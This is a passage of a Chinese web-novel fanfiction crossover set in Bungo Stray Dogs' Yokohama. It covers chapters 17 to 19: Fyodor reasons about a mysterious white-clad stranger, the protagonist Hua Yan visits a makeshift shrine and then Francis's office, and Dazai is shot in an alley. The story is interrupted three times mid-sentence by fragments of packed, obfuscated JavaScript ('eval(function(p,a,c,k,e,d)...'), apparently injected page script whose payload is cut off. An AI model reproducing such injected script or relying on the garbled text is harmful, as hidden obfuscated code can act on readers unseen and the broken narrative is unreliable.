只见视频里浑身都裹在斗篷里的身影倏地动了,与此同时监控佩戴者也动了起来。整个视频镜头都摇摇晃晃地一下子拉远,泛着金色光点的血线拔地而起,凌厉地朝那道身影刺去,但奇怪的事情发生了,明明对方也没怎么刻意去躲,却就是打空了,每一发血弹都刚好与对方擦身而过,只能眼睁睁地看着对方越来越近,直到看见对方被气流吹起的兜帽下所露出的那半张白皙又年轻的脸。 看起来年龄不大,应该是个二十左右的青年。 而且十分眼熟,有点像那晚在「骸塞」从空中坠落到他面前的青年——不过他记得当时对方并不是白发,也没有这么长,是异能效果吗? 再加上熟悉的身形,以及这种巧合到有些诡异的躲避攻击情况来看,那夜船上遇见的“不速之客”大概率也是对方。 不,不用说大概率,应该就是。 在这个结论之下,连费奥多尔这些天所遇见的事情都有了解释。 他在刚刚登陆横滨时就莫名其妙地被港口mafia死死盯住,按照原定计划港口mafia不可能这么快注意到他,一个早有异心的干部不可能会与港口mafia保持频繁的通讯。 这让他下意识认为那位“不速之客”是港口mafia的人,但在调查了一番后才发现不是,港口mafia甚至不知道那位“不速之客”的存在。 港口mafia盯上他是因为码头仓库货物的失窃,让港口mafia的首领想起了那个消失的干部,进而注意到了他的存在。 这两个时机卡的太好了,近乎是他上岸的当晚,码头仓库货物就丢失了,看起来就像是他干的一样,但事实上费奥多尔根本不会去干这样引人注目的事,这绝对是有人想要利用港口mafia对付他。 没等这件事情解决,费奥多尔又很快注意到了一个新的异常——他在横滨早就准备好的据点里有被潜入的痕迹。 那些痕迹很细微,被刻意抹去过,如果不是他知道有个据点阳台落灰很严重,八成也发现不了那些细微之处。 他仔细排查发现近乎所有准备好的据点里都有被入侵的痕迹,这使得他不得不更换一个新的据点,新据点没有太多的时间去挑选准备,因此很多地方都不如早已准备好的那些旧据点好用。 现在再加上现在霍桑的失联,费奥多尔终于确定了那个一直如影随形盯着他的人就是那晚遇见的“不速之客”,也是最初「骸塞」中落在他面前的青年。 这样一来,连对方为什么在遇见霍桑时先是愣了一下都有了很好的解释,这八成是因为霍桑带着面具,对方没第一时间认出来。 他树敌众多,一时之间没办法判断出对方来自于哪个组织,又有什么目的,哪怕对方的目标是自己,应该影响不到自己后续针对港口mafia的计划,也仍旧有些苦恼,这意味着他短时间内处理不了对方。 对方对自己近乎了如指掌,无论是自己会出现在那艘船上的信息,还是自己在横滨的据点,都不是秘密。 如果对方是冲自己来的,在「骸塞」中不动手尚可以解释为异能被剥离了,那为什么在船上时不动手,而是在现在才开始对霍桑下手?难道是因为“假面暗杀者”的事情起到了某种催化剂的作用?让对方意识到了自己现在并没有太多可用的人? 又或者是……对方真的什么都知道,甚至包括他隐藏的所有后手? 近乎于无的线索得不出任何结果,但费奥多尔也不是完全没有头绪。 这种类似于幻象的空间系异能,以及一身雪白的模样,让费奥多尔想到了擂钵街最近闹得沸沸扬扬的“茶泡饭之神”,擂钵街众人对后者的描述与那晚的“不速之客”近乎相同,甚至就连对方消失的时间都与他再次进入横滨的时间吻合。 费奥多尔若有所思地垂下眼眸 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花言轻车熟路地走进了擂钵街,顺带绕开了混战常发地带,他一路从散发着微弱灯光的擂钵街外部筒子楼区走进了犹如深渊的内部,没察觉到哪里不对劲,无论是隐匿在黑暗中零零碎碎传出唾骂与拳脚相加的混战,还是用铁皮与腐朽木头搭起来的简易棚子与角落的阴影里零零星星躺着的、生死不知的流浪汉,这里的一切看起来都一如既往…… 也不全是。 花言停下了脚步,眼前原本应该是空旷的荒芜之地上出现了一个鸟居,借助昏暗的星光能够隐隐约约看清鸟居的大致轮廓与材质,这个鸟居十分简陋,却并不潦草敷衍,它是由腐朽废木与铁皮搭建起来的,如那些流浪汉的栖身之所一样。 而在鸟居之后,是一处由同样材质搭建起来的棚子,棚子下方摆放着一个神龛,简陋的神龛里是一个形状像小刷子一样的东西,也许是神像,也可能是什么其他的东西。 花言对于这方面不太了解,只能大致从形状联想,哪怕这些东西都简陋的像是小孩过家家一般让人难以辨别。 系统识别了半天也没能识别出形状如小刷子一样的东西是什么,按理来说这里面应该是神像,但是太陌生了。 【宿主,这是他们给你弄的神像吗?“茶泡饭之神”那个?】 [也许是吧?] 花言也有些不确定,怎么他这段时间没来,擂钵街这些人连神位都给他搞出来了? 系统大为震撼,【可……宿主你只是给他们吃了茶泡饭而已啊!这个世界的神位这么容易得到吗?】 这个问题花言也很难给系统解释清楚,毕竟他也没想到那些人会这么在意自己,这种发展看起来有些夸张荒诞,但仔细思考也在情理之中。 花言已经明白擂钵街的异常所在了,八成是因为自己消失太久,让那些原本就以为他是“茶泡饭之神”的人误以为自己因神力不足消失了,而在一贯的说法中,神明的神力与信仰力挂钩,越多人信仰,那名神的神力就会越强,也越有可能重新出现,于是那些人便开始宣扬“茶泡饭之神”,再加上自己确实频繁出现在了擂钵街,因此这个传教应该相当顺利…… 只是…… [这并算不是神位,他们只是需要一个信仰而已,只要他们的信仰能够让他们生存下去,那么这个信仰是不是神都无所谓,而现在刚好“神”这个词汇能够更好的描述出他们的情感,所以才有了这个“神社”。] 花言唇边溢出一声无奈与怜悯的叹息。 系统似懂非懂,它不明白对方说的话是什么意思,但是听明白了这里的人不一定需要的是神,也意识到了自己宿主现在好像心情不太好,它想说些什么去安慰对方,却又被对方的举动噎了回去。 【宿主你在干什么?】 花言不知道对方为什么要明知故问,不过鉴于这个系统还是清澈愚蠢的实习系统,他大发慈悲地告诉了对方。 [我在放贡品。] 夜空犹如岩石层般厚重的云层恰到好处地裂开了一条缝隙,一簇月光从中倾斜而出,照亮了这一方天地。 空无一人的寂静神龛前凭空出现了一碗茶泡饭,茶泡饭端端正正地放在神像前,犹如供奉般。 系统当然知道对方在放贡品,但是它不明白对方为什么上一秒还在说这里的人需要的不是神,表现出来的也是一副不信神的样子,下一秒却给自己的神像放贡品,这是否有点矛盾了? 似乎是意识到了自己的举动有些奇怪,花言解释道。 [毕竟这是我的第一个像,没有贡品太磕碜了。] 【其实是第二个。】 系统默然提醒,【宿主你的翻盖流麻夜光人像还带二维码扫扫读取人生的墓碑前有很多贡品……】 花言:…… 花言沉默半晌,[我的墓碑那么花哨?] 他想象了一下有一长串前缀赛博墓碑的模样,又看了看眼前像是刷子一样的神像,忽然涌出一股悲凉。 [做神竟不如做尸体。] 系统:…… 【往好处想想,宿主,虽然这个磕碜,但是没有人偷吃你的贡品呀!你墓碑前的贡品在举行完仪式后就被人偷吃……呃,偷拿了。】 花言愈发沉默了,[你怎么确信这个不会被人偷吃?说不准第二天一早就会有人以为是“茶泡饭之神”的恩赐,然后一口炫完。] 花言说完更悲凉了,只觉得神龛前的那一碗茶泡饭也变得孤单了起来,既然左右都是要被拿的,那他不如多放点茶泡饭在这里,这样的话说不准还能给他剩点当贡品。 于是在无垢圣洁的银白月光下,神龛前的茶泡饭仿佛增殖了一样,不断凭空增多,近乎竖起一道“茶泡饭之墙”。 直到再也放不下了为止,花言才收手离去。 这片空旷又寂静的区域那一串轻微到近乎与不远处斗殴声响混合在一起的脚步声渐行渐远,直到完全消失。 在月光未曾照亮的角落里似乎有一抹阴影动了动,随后同样离去。 17.第 17 章 写字楼一向是打工人怨气最重的地方,也是班味最浓的地方,光是走进写字楼的大门,就会有一种全身上下的精力都被一瞬间抽空,连大脑运转速度都下降数倍的恐怖负面buff。 花言思来想去,还是决定先完成“委托”,不然在花对方给的钱去喝咖啡时,总觉得会有种被无数双眼睛盯着的负罪感。 他根据“雇主”在本子上留下的工作地点找到了这栋写字楼,这里貌似是一家保全公司,安保工作做的相当到位,到处都是监控不说,光是进门就花费他不少功夫。 花言蹲在公司大厅花瓶旁边,注视着每一个进来上班打卡的员工,直到看见了昨天的“雇主”挂着一张疲惫不堪的脸走了进来,他才起身悄无声息地跟了上去。 他打算先看看对方在公司到底被哪个刻薄上司刁难了,然后再决定到底是成为激进派套那个刻薄上司麻袋,还是成为保守派用委婉手段让对方收敛一点。 “雇主”已经熟练地找到了自己的工位,放下公文包打开电脑开始工作,也许是这个公司管控的比较严,又或者是这个部门任务比较繁重,花言大部分时间都只能听见打工人敲击键盘的清脆声响,等了半天也没什么动静。 当他有些没耐心了想要去前台摸点糖果之类的小零食尝尝打发一下时间时,靠里的那一扇办公室门忽然打开了,一个穿的西装革履、从走路姿势看就像是有点权利的男人走了出来,后者环视了一圈,仿佛在巡视自己领地般,带着傲慢又刻薄的意味。 伴随着男人的出现,整个部门工位上的人仿佛都变成了逆版向日葵,男人目光所到之处,无一人敢抬头对视,他们近乎把脑袋埋进了键盘,生怕一不小心又有什么麻烦找上自己。 然而这种掩耳盗铃的做法根本没什么用,男人显然已经有了目标。 于是花言在接下来的时间里看见了相当经典老套的职场霸凌——男人径直朝“雇主”走了过来,并且不顾旁人地用经典的“这就是你昨天做的方案?”“做的什么东西?”“真让人怀疑你脑子里面装的是什么”“如果不想干就不要干了”“你不觉得你现在的效率对不起你拿到的薪水吗?”之类的语言狠狠辱骂对方,最终以重做同时还增加了工作量为结尾。 很难不让人怀疑这是不是男人想找个人帮自己完成工作的诡计。 可怜的“雇主”起初还想解释一些什么,但后来发现无论怎么说明对方都听不进去,才放弃了辩解,任由对方数落。 原本就垂着的头更低了一些,手边是成山待处理文件,周围同事怜悯同情的目光近乎要把他戳穿。 花言悄悄跟上了那个男人,一同进了后者办公室。 办公室里跟外面寂静压抑的环境不同,这里宽敞又明亮,男人把自己手上的工作甩出去后相当老练地往沙发上一躺,拿出手机不知道跟谁打电话,一边聊一边笑,开始一天的摸鱼。 直到临近中午,男人被推门而入的员工喊走,这场近乎无休止的电话粥才迎来了结束。 花言像个背后灵似的跟对方一同进了电梯,出电梯又左拐右拐地进了顶楼一处办公室。 这处办公室比之前那个要更为宽敞,也更为奢华,除去房间两边的柜子,只剩一个办公桌摆在正中央,而房间里的人则躺在老板椅中背对着他们面向落地窗,从门口的方向看不见面容,只能看见搭在扶手上的那只手正有一下没一下地转着钢笔。 花言快速打量了一遍这个办公室,他不太明白为什么柜子那边摆着几口锅,不过从这个老板一副运筹帷幄的气质来看,对方这么做,肯定有对方的道理,就像是摆发财树招财一样,摆锅肯定也有特殊的寓意,比如说希望年年都能揭的开锅之类的。 这样看对方还挺朴实,有这么大的公司,期望竟如此纯粹。 “总经理,您找我?” 刚才还在下属面前嚣张到当甩手掌柜堂而皇之摸鱼的男人此刻弯下了背脊,语气流露出谄媚的意味。 花言看着这一幕唏嘘不已,果然,在职场待久了个个都是变脸王。 那只转笔的手微微顿了一下,却没有回答男人的话,仅意味不明地哼笑了一声。 这道短促的笑声没有任何指向,但花言却在听见的一瞬间有种不好的预感。 果不其然,下一秒对方手中转着的钢笔直直朝自己飞来,与之响起的还有那道熟悉的嗓音。 “看起来我新得到的财产有很多人觊觎啊。” 花言下意识往旁边倾斜了些许,刚好躲过那支散发着寒光的钢笔。 一支看似普通的钢笔直接钉入了花言身后的墙壁,显然被施加了不同寻常的力量。 那张老板椅此刻已经转了过来,对方那头浅金色的发丝在落地窗投进来的明媚阳光下闪烁着微光。 弗朗西斯的腿上放着一台笔记本电脑,他直直地看向花言所在的方向,微微挑眉,“还不现身吗?很高明的幻象异能,但是在金钱与科技之下你根本无所遁形,在你进这个房间的一瞬间就已经被热成像系统显现出来了。” 花言:…… 该死的高科技。 雪白的身影缓缓浮现,这间办公室多出了第三个人这件事让被喊进来的男人吓了一跳,他当即连滚带爬地跑到了距离对方最远的角落。 弗朗西斯看着熟悉的——被遮得严严实实宛如白色开花肠的身影略有些意外,他抬手示意男人先出去,随后才重新看向对方。 “好久不见,你该不会是特意来找我的吧?” “不是,凑巧罢了。” 花言说着又有点想叹气,不仅仅是因为他总是在阴暗潜行时被人发现,还因为总是在横滨遇见熟人。 不过……横滨就这么大,总遇见熟人似乎也很正常。 “我猜也是。” 弗朗西斯端起桌子上的瓷杯,朝柜子那边抬了抬下巴,“那边有咖啡,你想尝尝的话可以倒杯,味道还不错,算是这个乡下地方能找到的高级货了。” “是吗……?” 花言原本对咖啡兴趣不大,但对方既然说是高级货,那他铁定要尝尝。 柜子上放置着一台小型咖啡机,花言在启动萃取咖啡液的同时,不忘复制出一盒牛奶打奶泡,比起简单的美式咖啡和纯粹的咖啡液,他更喜欢带甜味的拿铁。 弗朗西斯注意到对方的动作,自然地开口,“帮我也弄一杯。” 花言头也不回地应了一声,端着两杯咖啡走了过来,把其中一杯放在了对方面前。 后者看了眼对方制作的咖啡,褐色的咖啡表面浮着一层白色的奶泡,看起来潦草无比。 弗朗西斯有些嫌弃,“我记得它应该有精致的花纹?” 没想到对方还挺挑。 花言随口敷衍,“没事,左右都是要喝的,拉花再漂亮,只要喝了一口也会被破坏。” 弗朗西斯思考了一秒,觉得对方说的有道理,他一边品尝对方的手艺,一边说起了正事。 “既然不是特意来找我,那你是为什么而来?也是为了‘神之眼’吗?” 弗朗西斯语气像是在说什么无关紧要的东西般,透着漫不经心与毫不在意的意味。 “不是,”花言喝了一口咖啡,没尝出什么高级货的惊艳感,“是因为听说这里有职场霸凌。” “职场霸凌?”弗朗西斯重复了一遍,随即露出了然的神色,“哦……?是那个男人吗?他是我还没拿到这家公司时就在的员工了,该说这里不愧有那种能让人不快的会长吗?员工也有很多一脉相承的呢。” 他说着随意摆了摆手,“如果你是专门为了这件事来的,那你可以安心了,这件事很快就会解决,因为我打算清扫那些欺软怕硬的草包穷鬼。” “那真是太好了。”花言没想到这么快就能解决,顺利到像是他仰卧起坐的幸运又发力了。 “不过……你最近怎么不去擂钵街发茶泡饭,而是在管这些事了?”弗朗西斯有些疑惑,没等对方回答,他很快又释然了,“算了,你本来就爱干这些怪事。” 花言觉得自己有必要辩解一下这点,他并不爱干怪事,在擂钵街发茶泡饭只是在整治擂钵街流浪汉生态环境而已! 但是……但是…… 总觉得如果跟对方解释这点会得到更怪的目光。 弗朗西斯没有在意对方诡异的沉默,他又抿了一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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基于这个基础,对方那些令人费解的举动也变得正常了起来,毕竟干那行的总会有些常人难以理解的小癖好。 弗朗西斯了然地点头,“哪怕你看起来还不太熟练,但不可否认的是——你的异能确实很适合做那些任务。” 花言不知道对方想到了什么,只觉得对方仿佛忽然想通了什么难题,神色都变得大彻大悟了起来。 不过既然对方已经放弃了让他去上班的念头,那他也没必要再过多解释什么。 于是花言仅沉默地点头,默认了对方的话。 看见花言点头,弗朗西斯哼笑了一声,“看起来是个很棘手的目标啊。” 对方突然离开擂钵街肯定是因为出现了动手的好时机,或者是目标进入了横滨,而从对方离开擂钵街开始到现在还没有完成任务,甚至还在做一些不相关的事来看,只能是出现了什么意料之外的变故。 比如说目标比想象中的还要棘手,又或者是出现了突发因素,导致对方一时之间没办法再动手,只能通过满足自己小癖好的方法来转移注意力,缓解压力。 看在对方在擂钵街时对自己的帮助,以及那瓶酒的份上,弗朗西斯伸出了援助之手,“需要我帮你吗?” 花言见状兜帽下墨镜后的眼睛都睁大了。 难道弗朗西斯真的猜到了? 怎么猜到的?他表现的这么明显吗? 而且这种事情能帮吗?怎么帮? 像是大学生跪地告白时,朋友在背后悄悄给对方递玫瑰一样吗? 看起来很完美,也很浪漫,但花言悲伤地发现他的进度没那么快,他跟费奥多尔之间甚至都还不认识,后者都还不知道他名字。 “暂时不用……谢谢……”花言语气沉痛又惋惜,“如果到时候我需要你帮助的话,我会联系你,希望你到时候能帮我。” “当然,我们已经是朋友了,那句话怎么说来着……是一起吃过茶泡饭的友谊?” 弗朗西斯走到花言身边,伸出手臂勾住了对方肩膀,意外地发现后者实际体型似乎比想象中的要瘦削一些,不过这并不影响他的承诺,“无论你什么时候需要帮助,我都会帮你,就像是你曾经帮我的那样。” “所以现在要一块去吃午餐吗?我让路易莎订餐厅。”弗朗西斯爽朗地发出了邀请。 订餐厅! 花言原本因沉寂在悲痛中而灰暗的眼眸又亮了起来。 都用上“订”了,那一定是高大上、充满金钱与绝活厨师的奢华之地! 十分想念船上自助餐时光的花言目光坚毅起来了。 18.第 18 章 按照一切顺利的正常发展,花言现在应该在低调奢华、地面光滑可鉴、放着舒缓古典乐的餐厅里和弗朗西斯一起品尝一些色香味俱全的菜,而不是在商业街的超市门口等弗朗西斯抢购出来。 在几分钟前一切都还正常无比,但在进入商业街——在弗朗西斯看见了超市门口那块用夸张字体写着“平底锅买一送三仅限今日”的牌子时,事态就发生了变化。 只见弗朗西斯一边把外套脱下丢进他怀里,一边说着“这比之前买一送二还愉快”冲进了超市抢购,拿着外套的花言在跟进去与在外面等中选择了后者。 他默然望着超市里攒动的人头,已经完全看不见弗朗西斯的身影了,像是被吞没了一样可怕。 花言对着系统唏嘘不已。 [看见了吗?马路牙子,这就是资本家发明出的恐怖促销手段,一不留神连资本家本身都会陷入这个深渊里。] 系统用自己的计算能力衡量了一下促销前和促销后是价格。 【但是……宿主,这个确实划算,跟你那个世界的减完还是原价不同,这个确确实实在原价上便宜了四分之一。】 花言目光犀利起来了,他伸手一摸口袋里的几张纸钞,目光又钝下去了。 他老老实实地拿着外套站在超市旁边的电线杆下,或许是一身白站在太阳下像是自带光源,导致来来往往的行人都下意识看了他一眼,遭遇目光洗礼有点尴尬的花言重新戴上了兜帽,并仗着有墨镜不会被太阳刺眼而抬头数电线上的麻雀。 在从左数到右数了十遍又从右数到左数了十遍后,弗朗西斯终于从人群里挤出来了,对方一身名贵的衬衫被挤出了条条褶皱,袖口被挽起的双臂上挂满了购物袋,其中还能看见几个漆黑的锅把。 弗朗西斯随手抹了一把额头上辛勤的汗水,“久等了,我们……” “砰!” 尚未说出口的话被一声震耳欲聋的爆炸声取代,两人下意识望向爆炸的方向,距他们不远处的童装店门口有一辆黑色的车轰然爆炸,浓烟中冒着火光。 巨大的声响吸引了商业街人来人往的行人,他们抱着好奇心凑过去围观,手中的手机闪光灯不断,像是在给自己的亲朋好友分享第一手新闻。 弗朗西斯的目光从车上移开,多年的经验让他直接看向了半空,果不其然,那里有一个金发少女正浮空提着一名身穿白大褂的黑发中年男人。 “是港口mafia首领的车。” 弗朗西斯摸着下巴,认出了那两个人,他点评道:“按照这座乡下城市对异能采用的管理方法,或许明天的新闻头条会出现‘汽车爆炸将一对父女炸上高空’之类的标题吧。” 花言听见这个滑稽的夸张标题没忍住笑出了声,考虑到事故发生地离他们并不远,他用手拉开了斗篷把头埋进去偷偷笑,笑够了才重新把头拿出来。 嘴角的弧度尚未来得及收起,看向人群的视线便猝不及防地对上了一双紫罗兰色的眼眸,后者眼眸里极快地闪过一丝了然,像是有什么事情终于被确定。 那双眼眸一闪而逝,穿着警服的黑发男人很快消失在人流中,随后追出的金发少女站在路灯上环顾四周,没能从人群里找到目标,最终落在了不远处站在超市门口的两人身上,她认识其中提着大包小包的金发男人,那是「组合」的弗朗西斯,而另一个看不见样貌的雪白身影则完全陌生。 疑虑在爱丽丝脑海中浮现传递给森欧外,却又在下一秒森鸥外支撑不住躺在地上失去意识时消失。 花言注意到看向自己逐渐消失的爱丽丝,可能是做了亏心事的惩罚,他总觉得森鸥外要知道是自己袭击仓库了。 不行! 在被森鸥外找上门算账之前,他一定要先弄明白为什么他明明绑架了霍桑,费奥多尔还要选择继续计划,更何况刚刚对视间费奥多尔给他的感觉有些不太妙,像是已经知道了什么一样。 一下连翻两车的感觉让花言不由得紧迫起来了。 他果断把手里的外套塞回了弗朗西斯怀里,“抱歉,我还有事,我们下次再约。” 弗朗西斯原本还在看热闹,突然塞过来的外套让他强行收回视线,他有些没反应过来,本能看向花言的方向,后者已经消失在了茫茫人海中,看起来是用异能遮掩了身影。 弗朗西斯看了看对方消失的位置,又看了看不远处倒在地上的港口mafia,脑海里浮现出最近横滨出现的事件,隐约有点明白对方任务目标可能是哪些人了。 只是无论哪个好像都不是很好得手的样子,该说不愧是他想挖进「组合」的人吗?哪怕不太熟练也敢接这种高难度任务。 当然,他不觉得对方会失败,并且十分欣赏对方这种对自己能力的自信。 …… 横滨的巷子一向是监控死角,也是摆脱追踪的最好路线。 花言花费了点时间用在寻找上,当他找到了具体是哪个巷子时,里面已经有两道身影正在对峙。 巷子口传来的轻微声响近乎与呼吸融为一体,却仍旧引起了巷子里两人的注意。 费奥多尔目光从眼前目标脸上移开,不着痕迹地扫过对方身后的巷子口,不出意外地没能看见任何人。 太宰治背对着巷子口没有回头,从对方的反应里得知了答案。 他们像是已经聊了有一会儿了,花言蹲在墙角试图偷听到费奥多尔的计划有没有改变,想要弄清楚究竟是他绑架晚了,还是对方另外有了新计划。 然而还没等他偷听到几句,只见费奥多尔举起了手中雪白又柔软的帽子,示意狙击手开枪,无声的子弹瞬间贯穿了太宰治的腹部,子弹带来的冲击力与席卷的剧痛让后者不由得倒在了地上,血泊自对方身下不断蔓延。 他来的何止有点晚,简直是已经结束了。 花言默不作声地挪了挪自己的身体,避免一会儿费奥多尔出来时会被看不见的“石头”卡脚。 不过让他意外的是,费奥多尔拿着帽子顿了顿,并没有选择往巷子口走,而是往巷子深处走去,像是想从其他通道离开。 花言不确定对方是发现了什么,还是由于他绑架了霍桑让对方有了其他计划。这两种可能都有同样的概率,毕竟哪怕他放轻了脚步,也不能保证不发出任何声响,更何况那两人都十分敏锐,察觉到也正常。 不过察觉到也没关系。 花言等费奥多尔走了之后,慢吞吞地挪到了太宰治身边。 后者像是早就知道他的存在般,嘴角勾起一抹裹挟着无奈的弧度,“果然有血光之灾啊,‘茶泡饭之神’,能麻烦你帮我叫个救护车吗?” 真是好自然的要求。 让他喊救护车没问题吗? 花言脑海里回忆起他所干的那些亏心事,以及自己是个黑户的事实。 怎么想都觉得让他喊救护车会引起很多麻烦,还是等对方后辈过来喊比较好。 不过…… 花言垂眸看了眼地面近乎要蔓延到自己脚底的血泊,又有些担心会不会因为自己的出现让原本的剧情发生什么变化,导致中岛敦延后、或者是不会过来,这样的话,如果他不喊,那太宰治岂不是要死自己面前了? 经过激烈的思想斗争,花言还是动手了。 他复制出了一双手套戴上,避免留下指纹,从对方外衣口袋摸出了手机,指尖在点亮屏幕的那一刻,他又忽然顿住。 太宰治等了半天好不容易等到对方似乎动手从自己身上摸出手机了,却又发现对方没了动静,他一抬头只能看见一个手机悬浮在半空中被点亮屏幕的模样。 太宰治又等了等,还是没忍住,似调侃般试探道:“怎么了?我手机里有什么特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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既然他绑架的有点晚了,费奥多尔还是用了原来给港口mafia首领与武装侦探社社长下异能病毒的计划,那就只能抓紧去完成他之前那个“雇主”的要求了,最好赶在费奥多尔被捕之前完成,现在公司问题已经解决,他得去调解家庭矛盾了。 太宰治原本即将合上的双眼因为这句话再次睁开。 “雇主”? 对方是受雇才来横滨的? 太宰治思绪飞速转动,一个具体猜想紧随其后浮现——有人雇杀手买费奥多尔的命? 如果是建立在这个基础上,对方种种行为都有了合理的解释。比如说「骸塞」那一次的突然降落是由于白雾猝不及防蔓延剥离了异能导致失手,又比如说对方窃取港口mafia仓库是为了嫁祸给费奥多尔,以求达到一个借刀杀人的目的,再比如说“茶泡饭之神”的事件是为了凝聚擂钵街众人的信仰,好让费奥多尔无法隐匿在那片混乱之地。 再加上擂钵街对于“茶泡饭之神”的描述,以及对方现在展现出的能力来看,确实能够做这行,并且也像是提前做了准备,对于他们的行踪都十分了解,近乎到了了如指掌的地步,而费奥多尔也确实树敌众多,但是…… 真的吗?连气息都无法完美隐匿的人去杀费奥多尔? 不对…… 对方像是知道他们察觉到了,对于他的话没有任何意外情绪,也毫不在意,是有其他后手吗……? 失血过多的冷意一阵阵刺激着太宰治的神经,他干脆放弃了继续去思考这个问题。 “诶……既然不帮我喊救护车,那能告诉我雇主是谁吗?告诉我的话,我就不跟别人说我在这里见过你哦……连茶泡饭事件也帮你掩盖,怎么样……?” 说了一大串话,太宰治低低咳嗽了几声,只觉得眼前的黑光逐渐扩大,不过没关系,人在失去意识时最后失去的是听觉。 于是他只听见那道被刻意放轻的嗓音里,裹挟着一缕对他会问出这个问题感到疑惑的莫名其妙,“你应该知道。” 他应该知道……? 太宰治见过的人很多,曾经他还在港口mafia工作时,见过的棘手人物数不胜数,同样的,费奥多尔得罪过的人也不计其数。 仅凭这样一句话,短时间内太宰治根本无法从这样大的范围内找到答案。 对方似乎并不希望他知道啊。 19.第 19 章 为了以防万一,花言蹲在墙边确认一脸安详陷入昏迷的太宰治被赶来的武装侦探社成员送入医院后才放心起身离开。 他从口袋里拿出本子,准备争分夺秒解决“雇主”的家庭矛盾,他不太擅长处理他人之间的矛盾,不过没关系,他看过很多调解员去调解家庭矛盾的节目,只要多观察一下肯定没问题! 然而事实证明他还是想的太简单了,“雇主”家根本没人,他等了一下午,只等到“雇主”一个人回来,除此之外没有其他任何人的身影,这种孤寂的氛围看起来简直就像是对方妻子已经被气走了一样! 最棘手的情况发生了,这根本没有任何可以给他调解的余地。 如果直接问男人跟妻子之间因什么而争吵,只会让他的可信度在男人这里大打折扣,毕竟之前他问男人家庭住址和工作地点时,后者就已经产生了疑心,而如果在什么信息都没有的情况下去寻找对方妻子,又有些大海捞针了,他现在最缺的就是时间。 花言遗憾离场。 他站在街道旁的路灯下抬头望向头顶的月亮。 只觉得一个人的力量果然是有限的。 这种事情还是需要一些专业的人来协助。 他找了一处监控死角解除覆盖在身上的「细雪」,抬手复制出了游戏内的建筑,随后毫不犹豫地直奔武装侦探社会议室,考虑人选有点浪费时间,干脆直接都召唤来集思广益好了,伴随着星星点点的光芒,数道身影随之出现在会议室内。 会议桌边出现的武装侦探社众人环顾四周,在发现近乎所有成员都出现在这间熟悉的会议室后,他们脸上神色不由得凝重了起来。 「太宰治」看向身侧站在白板前的青年,虽然不知道对方为什么要包裹的严严实实,不过这并不影响他认出对方,“好久不见,是遇见什么……咦?花言……?你改名字了啊?” 他像是发现了什么新大陆,连背脊都挺直了些许,兴致勃勃地夸赞,“这个名字可比原来那个有品味多了!” 没等花言顺着这个话题解释,坐在「太宰治」身边的「国木田独步」忍无可忍地轻踹了一脚「太宰治」的椅子,让对方滑到另一边去。 “不要说这种无关紧要的废话,太宰!” 由于轮滑椅被施加了力道滑走的「太宰治」百无聊赖地又划了回来,“有什么关系嘛,这么久没见过花言了,问候一下也很正常吧?” “问候这种事一会儿再说,现在还是正事比较重要。” 「国木田独步」推了一下眼镜,看向花言,语气严肃的同时,也不忘安慰一下后者的情绪,“我们从港口mafia那听说了你的近况,你可以跟我们描述一下我们出了什么问题,我们一定会想办法帮你解决的,不用太过担心。” “不……没什么大事。” 花言沉默了片刻,旋即言简意赅地说明了自己所遇见的问题,最后提出了自己的需求。 “……我只是想尽快帮‘雇主’……呃,也就是找我算命的那个男人,解决家庭矛盾,但是我现在又没有充足的时间去慢慢完成这件事,所以希望你们帮我想一个能够在短时间内解决这个问题的办法。” 毕竟当“算命仙人版雇佣兵”的人是他,如果他直接把“委托”外包给其他人,总觉得自己有点像黑心资本家了,所以他只需要一点提议就好了。 “原来如此……”「国木田独步」松了口气,“我还以为是之前港口mafia那些人引出的问题。” “安心啦,如果是那些问题,花言不会找我们的。”「江户川乱步」像是说什么绕口令似的,“港口mafia在港口mafia引起的问题也只有港口mafia最适合解决。” “想方法的话根本就不需要,这件事直接交给太宰他们就好,他们比较擅长这个。”他趴在桌子上摇了摇手中的波子汽水,补充道:“有什么棘手案件,可以喊我跟社长。” 说到最后,「江户川乱步」似乎是对花言有些生疏的态度不满,“花言,你不用太过客气,你也帮助了我们很多,所以这点小问题根本没关系。” 「福泽谕吉」赞同地点头。 「太宰治」自告奋勇地举起手,“那我要国木田当搭档~” 「国木田独步」打开手账本,面无表情地拒绝,“真是抱歉啊,我后面还有其他安排,你问其他人有没有空吧。” “诶——” 「太宰治」失望地拉长了尾音,露出一副被拒绝的失落模样,然而对前者颇为了解的「国木田独步」根本不上当,见对方仍旧无动于衷,「太宰治」只能把目光转向其他人。 “敦,你有空吗?” “有的。”「中岛敦」闻言确认道:“需要我帮忙吗?太宰先生?” 「太宰治」笑眯眯地点头,“嗯嗯~毕竟一个人的话做什么都不方便呢,还是有个助手比较好。” 虽然这句话说的确实有道理,但与对方共事多年的「国木田独步」一眼看出「太宰治」肯定不会单纯只解决花言的麻烦,十有八九还会去悄悄满足一下好奇心,而这个“助手”的位置就是对方为了以防会引起这个世界其他人注意给花言带来不必要的麻烦而用来收尾的。 「太宰治」除了某些时候会给人造成一些无伤大雅的麻烦之外,大部分情况下都十分可靠,因此应该不用担心花言的安危。 「国木田独步」快速在手账本上记录好这次行动,随后合上,看向花言,“麻烦了。” 后者会意地解除了异能,会议室里的身影一道道减少,最终只剩下了「太宰治」、「中岛敦」与「谷崎润一郎」。 “咦?”「谷崎润一郎」有些疑惑地伸手指了指自己,“是有什么需要我帮忙的吗?” “嗯,因为一些特殊原因,我希望你们的行踪不要被横滨那些势力发现,所以需要你的帮助。”花言后知后觉地反应过来了什么,“你有空吗?” “啊……我有空的。”「谷崎润一郎」有些不好意思地挠了挠脸颊,“是需要我用「细雪」掩盖掉我们的身影吗?” “对。”花言给了对方一个肯定的眼神。 既然都说不用客气了,人也摇都摇来了,那他多摇一个也没问题吧。 「太宰治」若有所思地摸了摸下巴,“看起来你在这个世界的处境很艰难呢。” 花言回想了一下自己来到这个世界后遭遇的事,沉痛地点头,“确实。” “总之这件事就放心交给我们吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 